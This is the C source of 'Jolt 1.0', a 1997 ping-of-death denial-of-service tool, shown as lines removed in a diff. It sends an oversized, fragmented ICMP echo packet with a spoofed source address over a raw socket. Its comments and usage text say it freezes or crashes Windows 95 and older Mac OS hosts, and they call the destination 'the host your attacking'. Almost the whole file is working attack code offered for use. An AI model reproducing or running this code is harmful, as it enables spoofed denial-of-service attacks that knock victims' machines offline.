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- /* Jolt 1.0 (c) 1997 by Jeff w. Roberson
- * Please, if you use my code give me credit. Also, if i was the first to
- * find this glitch, please give me credit. Thats all i ask.
- *
- * Ok so all this does is build a really fraggmented over sized packet
- * and once win95 gets it, and puts it back together it locks. I send
- * multiple packets by default cause some times it takes a few packets to
- * totally freeze the host. Maybe its spending processor time to figure
- * out how to put them back together? I've had reports of people blue
- * screening from it tho so we'll let Microsoft's boys figure out exactly
- * what this does to 95. As of now i haven't tested it on NT, but maybe
- * i will later ;). All of this source wasn't origonally written by me
- * I just took one of the old programs to kill POSIX and SYSV based
- * systems and worked on it abit, then made it spoof =).
- * VallaH (yaway@hotmail.com)
- *
- * Update: It apears to work on some older versions of mac os
- */
-
- /* Yah this is for linux, but i like the BSD ip header better then linux's */
- #define __BSD_SOURCE
- #include <stdio.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <netdb.h>
- #include <netinet/in.h>
- #include <netinet/in_systm.h>
- #include <netinet/ip.h>
- #include <netinet/ip_icmp.h>
- #include <string.h>
- #include <arpa/inet.h>
-
- int main(int argc, char **argv)
- {
- int s,i;
- char buf[400];
- struct ip *ip = (struct ip *)buf;
- struct icmphdr *icmp = (struct icmphdr *)(ip + 1);
- struct hostent *hp, *hp2;
- struct sockaddr_in dst;
- int offset;
- int on = 1;
- int num = 5;
-
- bzero(buf, sizeof buf);
-
- if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW )) < 0) {
- perror("socket");
- exit(1);
- }
- if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
- perror("IP_HDRINCL");
- exit(1);
- }
- if (argc < 3) {
- printf("Jolt v1.0 Yet ANOTHER windows95(And macOS!) glitch by VallaH (yaway@hotmail.com)\n");
- printf("\nusage: %s <dstaddr> <saddr> [number]\n",argv[0]);
- printf("\tdstaddr is the host your attacking\n");
- printf("\tsaddr is the host your spoofing from\n");
- printf("\tNumber is the number of packets to send, 5 is the default\n");
- printf("\nNOTE: This is based on a bug that used to affect POSIX complient, and SYSV \n\t systems so its nothing new..\n");
- printf("\nGreets to Bill Gates! How do ya like this one? :-)\n");
- exit(1);
- }
- if (argc == 4) num = atoi(argv[3]);
- for (i=1;i<=num;i++) {
-
- if ((hp = gethostbyname(argv[1])) == NULL) {
- if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) {
- fprintf(stderr, "%s: unknown host\n", argv[1]);
- exit(1);
- }
- } else {
- bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);
- }
-
- if ((hp2 = gethostbyname(argv[2])) == NULL) {
- if ((ip->ip_src.s_addr = inet_addr(argv[2])) == -1) {
- fprintf(stderr, "%s: unknown host\n", argv[2]);
- exit(1);
- }
- } else {
- bcopy(hp2->h_addr_list[0], &ip->ip_src.s_addr, hp->h_length);
- }
-
- printf("Sending to %s\n", inet_ntoa(ip->ip_dst));
- ip->ip_v = 4;
- ip->ip_hl = sizeof *ip >> 2;
- ip->ip_tos = 0;
- ip->ip_len = htons(sizeof buf);
- ip->ip_id = htons(4321);
- ip->ip_off = htons(0);
- ip->ip_ttl = 255;
- ip->ip_p = 1;
- ip->ip_csum = 0; /* kernel fills in */
-
- dst.sin_addr = ip->ip_dst;
- dst.sin_family = AF_INET;
-
- icmp->type = ICMP_ECHO;
- icmp->code = 0;
- icmp->checksum = htons(~(ICMP_ECHO << 8));
- for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) {
- ip->ip_off = htons(offset >> 3);
- if (offset < 65120)
- ip->ip_off |= htons(0x2000);
- else
- ip->ip_len = htons(418); /* make total 65538 */
- if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst,
- sizeof dst) < 0) {
- fprintf(stderr, "offset %d: ", offset);
- perror("sendto");
- }
- if (offset == 0) {
- icmp->type = 0;
- icmp->code = 0;
- icmp->checksum = 0;
- }
- }
- }
- return 0;
- }
-